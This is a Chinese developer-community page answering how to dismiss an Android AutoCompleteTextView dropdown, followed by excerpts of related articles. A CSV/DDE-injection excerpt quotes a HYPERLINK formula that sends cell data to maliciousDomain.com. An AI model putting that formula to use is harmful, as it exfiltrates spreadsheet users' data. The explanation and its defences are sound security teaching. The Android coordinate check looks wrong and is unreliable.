首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

防止Android-AutoCompleteTextView-Dropdown在其外部和任何其他字段上单击时不显示

Android-AutoCompleteTextView是Android开发中的一个控件,它是一个可自动完成输入的文本框,当用户输入时,它会显示一个下拉列表,提供与输入内容相关的建议。

针对防止Android-AutoCompleteTextView-Dropdown在其外部和任何其他字段上单击时不显示的问题,可以通过以下方式解决:

  1. 设置AutoCompleteTextView的点击事件监听器,当点击AutoCompleteTextView以外的区域时,隐藏下拉列表。可以通过以下代码实现:
代码语言:txt
复制
autoCompleteTextView.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View v, MotionEvent event) {
        if (event.getAction() == MotionEvent.ACTION_DOWN) {
            // 点击AutoCompleteTextView以外的区域,隐藏下拉列表
            if (event.getRawX() < autoCompleteTextView.getLeft() ||
                    event.getRawX() > autoCompleteTextView.getRight() ||
                    event.getRawY() < autoCompleteTextView.getTop() ||
                    event.getRawY() > autoCompleteTextView.getBottom()) {
                autoCompleteTextView.dismissDropDown();
            }
        }
        return false;
    }
});
  1. 在Activity的根布局上添加一个透明的覆盖层,并设置点击事件监听器,当点击覆盖层时,隐藏下拉列表。可以通过以下代码实现:
代码语言:txt
复制
View overlay = findViewById(R.id.overlay);
overlay.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View v, MotionEvent event) {
        autoCompleteTextView.dismissDropDown();
        return false;
    }
});

在布局文件中添加一个覆盖层的View:

代码语言:txt
复制
<View
    android:id="@+id/overlay"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="@android:color/transparent" />

这样,当用户点击AutoCompleteTextView以外的区域或覆盖层时,下拉列表会被隐藏起来,从而解决了不显示的问题。

推荐的腾讯云相关产品:腾讯云移动推送(https://cloud.tencent.com/product/umeng_push)可以用于实现移动端消息推送功能,适用于Android和iOS平台,可以帮助开发者快速实现消息推送功能,提升用户体验。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

使用 Replication Manager 迁移到CDP 私有云基础

显示基于正则表达式的路径排除字段,您可以在其中输入基于正则表达式的路径。添加排除项,请包括正则表达式的快照相对路径。...重要的 在以下情况下,您必须跳过校验检查以防止由于校验匹配而导致复制失败: 从源集群的加密区域复制到目标集群的加密区域。 从源集群的加密区域复制到目标集群的未加密区域。...它们可以提高数据复制性能并防止因更改源目录而导致的错误。这些快照作为只读目录出现在文件系统,可以像其他普通目录一样访问。...在文件浏览器中,单击完整文件路径旁边的下拉菜单并选择 启用快照。 笔记 为目录启用快照后,您将无法在其任何子目录上启用快照。只能在启用了快照的目录上拍摄快照。...选择此选项后,以下附加字段(与配置复制可用的字段类似)将显示在“更多选项”下: 在以下情况下,您必须选择此属性以防止在恢复快照失败: 在单个加密区域内恢复快照。

1.8K10

PS模块第十节:PA PLM220详细练习

01 目录 1.结构 2 .计划 3 .实际日期确认 4 .快速运行的计划活动的执行 5 .可用的容量容量要求 6.容量分析 7.劳动力规划 8.确认实际容量要求 9.外部活动,为防止串,先复制个...8.确认实际容量要求 9.外部活动,为防止串,先复制个10088到10089 9.1 在顶层WBS创建外部活动 a)SAP菜单→物流→项目系统→项目→项目生成器(双击选择事务) i将您的项目T-100...状态行显示有关控制财务会 计中数据更新的信息,以及验收文件的数量。单击“后退”图标,返回到 SAP 菜单。 服务确认报错,纠结了,不知道哪地方错了。...对于组件 E-1517,请在“偏移”字段中输入值 7,并在其旁边的字段 中输入时间单位 Day。单击“返回”以确认您的条目。在组件 E-1203A 的详细信息屏幕中,设置 Algn。开始日期。...c) 单击“执行”图标以启动 BOM 传输。所有新的组件分配现在都显示在结果概述中。单击保存图标,并在必要确认任何调度警告。通过单击“后退”图 标来退出 BOM 传输。

3.8K22
  • 23个高手都在用的Figma小技巧!(2022新专辑)-Part 01

    这对于文档、设计系统样式指南来说绝对是惊人的。但也可以在其他网站上展示,比如在 Medium 中。 也就是说,你可以直接把你的设计稿嵌入到其它支持的网站中去,直接展示出来。...如果在缩放按住 alt,这也会改变不透明度。您还可以微调任何其他字段,例如行高。 ‍ 提示:在排版行高使用 4 或 8pt 的幅度来设置你的字体比例!...快速调整字段数值 将鼠标悬停在 Figma 中的某些属性字段,会出现一个横向双箭头。只需按下鼠标键 并将箭头从左向右移动,数值就会发生变化。按住shift以增加调整数值的速度。...这适用于任何在将鼠标悬停在其显示横向双箭头的字段。 005.复制为PNG而导出图片 按cmd+ shift+ c(或通过右键菜单访问)将框架作为 png 复制到剪贴板。...您现在可以将其粘贴到文件内部或外部任何位置。这样,不用导出文件就可以粘贴到ppt以及任何你想粘贴的地方了。 ‍

    3.8K30

    DDE注入(CSV)漏洞原理及实战案例全汇总

    ---- 1、漏洞原理: 1)Excel解析机制 第一个需要知道的知识点是,在Excel任何以'='字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入“=2+5”,则表格会显示为: ?...实际,除了=号,以下符号都可用于在Microsoft Excel中触发公式解释: 等于(“=”) 加(“+”) 减号(“ - ”) 在 (”@”) 这个可以帮助我们在等号=被过滤,使用其他运算符绕过...Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件,Excel就会尝试执行外部应用。...data=”&A1,“Click to view additional information”)” 将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据到maliciousDomain.com...A0) 5、=HYPERLINK("https://evil.com") 6、防御手段: 1)一般的防御手段为,在生成电子表格,以任何危险符号开头的字段应该以单引号、撇号(')字符或空格作为前缀,确保单元格不被解释为公式

    9.8K20

    6个功能强大的开源免费WordPress主题合集

    "说说" 功能 - 随时发表想法,并在专门的 "说说" 页面展示,也支持说说和首页文章穿插 评论功能扩展 - Ajax 评论,评论支持 Markdown、验证码、再次编辑、显示 UA、悄悄话模式、回复邮件通知...提示:为了防止主题兼容,请在安装主题前进行数据备份,防止数据字段重复覆盖等情况发生。...版本迭代 1.5及以下版本升级至1.6+配置兼容处理方法: 因为在1.6版本中将配置字段更改为了puock_options,所以会导致配置读取不到,用户可以重新进行配置或恢复配置,恢复配置SQL(执行前请先备份数据库...,原配置字段名为optionsframework,若其他主题或插件使用了同名字段为配置名则会覆盖,原则若使用旧版本不会存在其他插件或主题同名字段,因为option_name字段为主键,是不允许重复的!...任何个人或组织,在未征得本站同意,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

    11.1K11

    了解vSphere中的BPDU筛选器功能

    STP用于防止网络中的环路,通常在物理交换机上启用。当物理交换机端口上的链路上升,STP协议开始计算BPDU交换以确定端口是否应处于转发或阻塞状态。...如果连接到端口的服务器长时间无法通信,则在其运行的应用程序将超时。要避免服务器出现超时问题,最佳做法是在连接服务器NIC的交换机端口上启用端口快速配置。...此配置定义STP边界,并通过防止连接到这些端口的设备影响STP拓扑来保持拓扑可预测。 二、原理 下图显示了由于物理交换机端口上的BPDU防护配置而创建的生成树协议边界。...在ESXi主机级别配置此功能后,vSwitch将删除来自任何虚拟机的BPDU帧。标准分布式vSwitch均提供此功能。...要从vSphere Web Client启用BPDU筛选: 单击清单中的所需主机。 单击管理选项卡,然后单击设置。 单击高级系统设置。 在页面右上角的“ 过滤器”字段中,键入BPDU以过滤结果。

    2.3K10

    26个你需要学习的Firefox配置技巧,改进体验和加快浏览器响应速度

    要切换不同的功能,只需双击“Value”列下的条目,在“true”“false”之间切换。在某些情况下,value字段会有一个数字。在这种情况下,将数字改为您想要的数字。...如果你有一台功能强大的电脑,那么你可以把它设置在一个相当高的数值,这应该可以提高Firefox中每个打开标签的稳定性性能。...如果您想要查看Firefox声称兼容的扩展是否真的可以工作,请执行以下操作 右击about:config页面上的任何地方,然后单击“New -> Boolean” 类型扩展。...当您最小化Firefox,它会将Firefox发送到您的虚拟内存中,并释放您的物理内存供其他程序使用。...单击URL栏选择所有文本 在WindowsMac中,当你点击URL栏,Firefox会高亮显示所有文本。在Linux中,它不会选择所有的文本。相反,它将光标放在插入点。

    4.8K20

    Parallels Toolbox for mac(pd工具箱)

    只需输入日期月份,日期倒计时将开始倒计时,在 Dock Finder 中的工具图标上显示剩余天数。当日期到达,“日期倒计时”将显示一条消息。... 进入睡眠模式 激活后,此工具可防止计算机进入睡眠状态并使显示屏变暗。当您想要确保任务不被中断,这很有用。激活将禁用允许计算机进入睡眠状态的所有设置。...要显示它们,请单击工具图标。要隐藏它们,请再次单击工具图标或单击屏幕其他位置。 发射 使用此工具只需单击一下即可打开计算机上的多个对象,例如应用程序、文档、文件夹、链接或其他文件。...麦克风静音 使用此工具将计算机的麦克风静音,以防止其他应用程序未经授权收听。只需单击工具栏的静音。内置麦克风已静音,并且没有应用接收来自麦克风的输入。乐器图标表示乐器处于活动状态,麦克风已静音。...演示模式 当您需要集中注意力或进行演示,使用此工具可以最大程度地减少干扰。打开“演示模式”后,它会阻止任何 Dock 通知动画(在 Mac )、暂时关闭电脑的睡眠状态以及隐藏桌面上的文件。

    5.7K30

    可能是Salesforce与Microsoft Dynamics 365的最全面的比较

    应用启动器显示用户可用的应用。 ? 单击应用程序中的选项卡,默认列表是对象的“最近查看”记录。 浏览器窗口顶部有一个全局搜索框。 ?...一旦选择了应用程序,用户就可以单击应用程序名称并查看分类的实体链接。 自定义实体也会出现在此屏幕。 根据安全性,权限配置,将显示更多或更少的图标。 ?...当用户在“搜索”框中输入全文或部分文本(通配符)字符串,Salesforce会在标准对象集(例如“客户”)中分析所有文本字段(以及其他几种字段类型,如电话电子邮件) 联系人。...邮件集成 销售人员大部分时间都花在电子邮件。 销售其他用户不仅能够在CRM中记录收到发出的电子邮件,而且还能在其电子邮件客户端中获得缩小的CRM体验,这一点非常重要。...Set Regarding 下拉列表向用户显示用户最有可能正在处理的事情。 只需单击一下,用户就可以将他们的活动(任务,电子邮件,约会等)链接到CRM中的任何记录。 ?

    6.3K40

    浅谈Google蜘蛛抓取的工作原理(待更新)

    虽然谷歌最近表示,没有跟随链接也可以用作爬行索引的提示,我们仍然建议使用dofollow。只是为了确保爬行者确实看到页面。 单击深度 单击深度显示页面离主页有多远。...如果发现页面被Robots.txt限制爬行,Googlebot 将停止从该页面中爬行和加载任何内容脚本。此页面不会显示在搜索中。...。某些页面可能无法用于爬行索引。让我们仔细看看这些类型的页面: 受密码保护的页面。Googlebot 模拟了匿名用户的行为,该用户没有任何凭据访问受保护的页面。...这些页面来自Robots.txt,带有Noindex标签、robots元标签X-Robots标签。 孤儿页面。孤儿页面是网站中任何其他页面中未链接的页面。...Googlebot也例外。Googlebot可能会感到困惑,当试图了解长参数丰富的网址。因此,更多的爬行资源被花费。为了防止这种情况,使您的网址用户友好。

    3.4K10

    使用管理门户SQL接口(二)

    可选地,单击System复选框以包含系统项目(名称以%开头的项目)。 默认情况下不包含系统项。 展开类别的列表,列出指定架构或指定筛选器搜索模式的项。 展开列表包含项的任何类别都不会展开。...目录表的详细信息 每个表提供以下目录详细信息选项: 表信息:表类型:表类型:无论是表,全局临时或系统表(仅在选择系统复选框显示系统表),所有者名称,最后编译的时间戳,外部读取的布尔值,类名称,范围大小...,子表的名称/或父表(如果相关)一个或多个引用字段其他表(如果相关),无论是使用%storage.persistent默认存储类,无论是支持位图指标, ROWID字段名称,ROWID基于(如果相关...如果该表是一个碎片本地表,表信息将显示碎片主类表的名称,并链接到InterSystems类参考文档中相应的条目。 只有选中“System”复选框,才会显示“Shard-local”表。...通过单击此打印预览的指数,触发器/或约束,可以从目录打印输出中包含或排除此信息。

    5.2K10

    将Hive数据迁移到CDP

    更改兼容的字段类型 默认配置更改可能会导致更改列类型的应用程序失败。...Hive 可防止更改兼容的列类型。不会阻止兼容的列类型更改,例如 INT、STRING、BIGINT。 需要采取的行动 更改应用程序以禁止兼容的列类型更改,以防止可能的数据损坏。...从 Spark 其他客户端访问托管 Hive 表的方式发生了变化。在 CDP 中,访问外部表需要您设置安全访问权限。...需要采取的行动 不需要任何行动 外部的 TRUNCATE TABLE 如果您从支持外部的 TRUNCATE TABLE 的 Hive 版本升级,则需要以这种方式更改使用该命令的应用程序。...在其他属性的情况下,例如hive.cbo.enable,升级会忽略任何覆盖并仅设置 CDP 推荐值。

    1.3K30

    关于React18更新的几个新功能,你需要了解下

    默认情况下,React 中不会对 promise、setTimeout、本机事件处理程序或任何其他事件中的更新进行批处理。 什么是自动批处理?...这意味着超时、承诺、本机事件处理程序或任何其他事件内的更新将以与 React 事件内的更新相同的方式进行批处理。...单击、悬停、滚动或打字等紧急更新需要立即响应以匹配我们对物理对象行为方式的直觉。否则他们会觉得“错了”。 然而,转换是不同的,因为用户希望在屏幕看到每个中间值。...有时,诸如单击按钮或输入输入之类的小动作可能会导致屏幕发生很多事情。这可能会导致页面在所有工作完成冻结或挂起。 例如,考虑在过滤数据列表的输入字段中键入。...您的代码可能如下所示: // 更新输入值搜索结果 setSearchQuery ( input ) ; 在这里,每当用户键入一个字符,我们都会更新输入值并使用新值来搜索列表并显示结果。

    5.9K50

    InterSystems SQL基础

    模式的使用有助于防止表级别的命名冲突,因为表,视图或存储过程的名称在其模式内必须唯一。应用程序可以在多个架构中指定表。 SQL模式与持久性类包相对应。...模式名称在其名称空间内必须是唯一的。将第一个项目分配给它,会自动创建一个模式(及其对应的程序包),从中删除最后一个项目,会自动将其删除。...设置此选项后,单击三角形以查看项目列表。如果没有项目,则单击三角形无效。 查询 在InterSystems SQL中,可以通过查询查看修改表中的数据。...数据在内部以逻辑模式存储,并且可以在这些模式中的任何一种中显示。...因此,除非另有说明,字符串排序比较区分大小写。 可以指定排序规则类型作为索引保护的一部分,或者使用索引字段的排序规则类型。

    2.5K20

    在Ubuntu 14.04安装Zimbra开源版

    您的分区大小取决于您希望处理的帐户数量邮件量。部署后,启动新主机。使用Linode Manager中远程访问页面上显示的命令创建Linode输入的密码SSH进入终端。...(在运行安装脚本的任何时候,要接受括号中显示的默认答案,您只需按Enter键。) ......[N] 回答Y后,脚本会检查已安装的软件并报告任何差异。 满足缺少的依赖关系。 Zimbra将通过MISSING:字段通知您任何缺少的依赖项,如下所示。...单击MTA页面以配置一些可以控制您将接受邮件的Postfix设置。如果您在自己之外的其他网络已知要接受邮件的服务器,则可以将它们添加到MTA可信网络。...唯一需要的项目是电子邮件地址姓氏,但您需要创建临时密码,如果您已设置其他密码,则可能会覆盖默认COS。 4. 如果要在此帐户显式设置其他属性,请单击“ 下一步”继续浏览页面。

    3.2K10

    独家 | 手把手教数据可视化工具Tableau

    从“度量”区域拖出的任何字段在添加到视图一开始将为连续,因此其背景将显示为绿色,但如果您单击字段并选择“离散”,则值将变为列标题。 然而Tableau 会继续对字段的值进行聚合。...当您将连续字段放在“行”或“列”,Tableau 会显示一个轴。轴是一个显示最小值最大值之间的值的度量线,标尺模拟温度计是显示轴的物品的例子。...转换日期字段 您可以在离散连续之间转换日期字段单击视图中的任何日期字段,并选择上下文菜单的选项之一,便可将该字段从离散转换为连续,或从连续转换为离散: 说明: 1....在某些情况下,这可能就是您需要的结果(也就是说,在使用快速筛选器对百分比进行了重新计算)。但在其他情况下,您可能希望百分比即使在您筛选进或筛选出某些项目也保持稳定。这是我们在本例中所需要的。...向下滚动以查看其他区域的数据。 在中部区域,复印机显示为利润最高的子类,而装订机电器则是利润最低的。 STEP 6:单击“标记”卡的“颜色”以显示配置选项。

    18.9K71

    关于React18更新的几个新功能,你需要了解下

    默认情况下,React 中不会对 promise、setTimeout、本机事件处理程序或任何其他事件中的更新进行批处理。 什么是自动批处理?...这意味着超时、承诺、本机事件处理程序或任何其他事件内的更新将以与 React 事件内的更新相同的方式进行批处理。...单击、悬停、滚动或打字等紧急更新需要立即响应以匹配我们对物理对象行为方式的直觉。否则他们会觉得“错了”。 然而,转换是不同的,因为用户希望在屏幕看到每个中间值。...有时,诸如单击按钮或输入输入之类的小动作可能会导致屏幕发生很多事情。这可能会导致页面在所有工作完成冻结或挂起。 例如,考虑在过滤数据列表的输入字段中键入。...您的代码可能如下所示: // 更新输入值搜索结果 setSearchQuery ( input ) ; 在这里,每当用户键入一个字符,我们都会更新输入值并使用新值来搜索列表并显示结果。

    5.5K30

    Web Security 之 CSRF

    没有其他机制用于跟踪会话或验证用户请求。 没有不可预测的请求参数。执行该操作的请求包含攻击者无法确定或猜测其值的任何参数。...如何构造 CSRF 攻击 手动创建 CSRF 攻击所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数的情况下,或者在请求中存在其他异常情况。...在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域的恶意 URL 。...CSRF token 仅要求与 cookie 中的相同 在上述漏洞的进一步变体中,一些应用程序维护已发出 token 的任何服务端记录,而是在 cookie 请求参数中复制每个 token 。...为了安全起见,包含 CSRF token 的字段应该尽早放置在 HTML 文档中,最好是在任何非隐藏的输入字段之前,以及在 HTML 中嵌入用户可控制数据的任何位置之前。

    2.3K10

    对话框、模态框弹出框看起来很相似,它们有何不同?

    它有链接文本 URL 字段,关闭对话框或添加链接的按钮图片模态对话框:添加链接;当这个模态对话框打开,它后面的任何东西都不能与之交互。...当使用 role="dialog" 的元素是模态,浏览器将对话框外部的内容视为惰性,并防止键盘焦点到达对话框外部的网页内容 (如果使用 role="dialog" 则需要自己完成此操作)。...当您在其外部单击,它会消失。...通常,当开发人员谈到 overlays ,他们指的是模态对话框。从字面上看,overlays 是放在其他事物之上的东西。弹出框对话框都可以覆盖其他事物。...在这种情况下,与其他任何屏幕交互都没有意义,因此将对话框设置为模态modal是有道理的。 弹出式导航 您正在构建一种“弹出式导航”。它在视口一侧打开,并在其打开置于其他内容之上。

    3.8K00

    Power Query 真经 - 第 4 章 - 在 Excel Power BI 之间迁移查询

    请记住,虽然本书的重点是 Excel Power BI,但这些步骤对于任何承载 Power Query 的工具来说几乎是相同的,即使它包含在其他微软产品或服务中。...这将防止在探索解决方案之间移动查询的不同选项,遇到与数据源有关的任何步骤级错误。 需按如下方式更新示例文件。...当用户把整个查询链复制到一个解决方案中(或者至少是一个包含这个查询链的任何部分的解决方案),这个方法非常有效。但是,如果链的一部分已经存在了呢,会发生什么?...但实际这一切并没有发生,根本没有创建任何表,尽管单击了【应用更改】按钮。这到底是怎么回事?...图 4-20 “Date” 列数据正常显示 记住,如第 3 章数据类型错误中所述,一旦更改了数据类型,任何后续的更改都将基于这个输出。

    7.8K20
    领券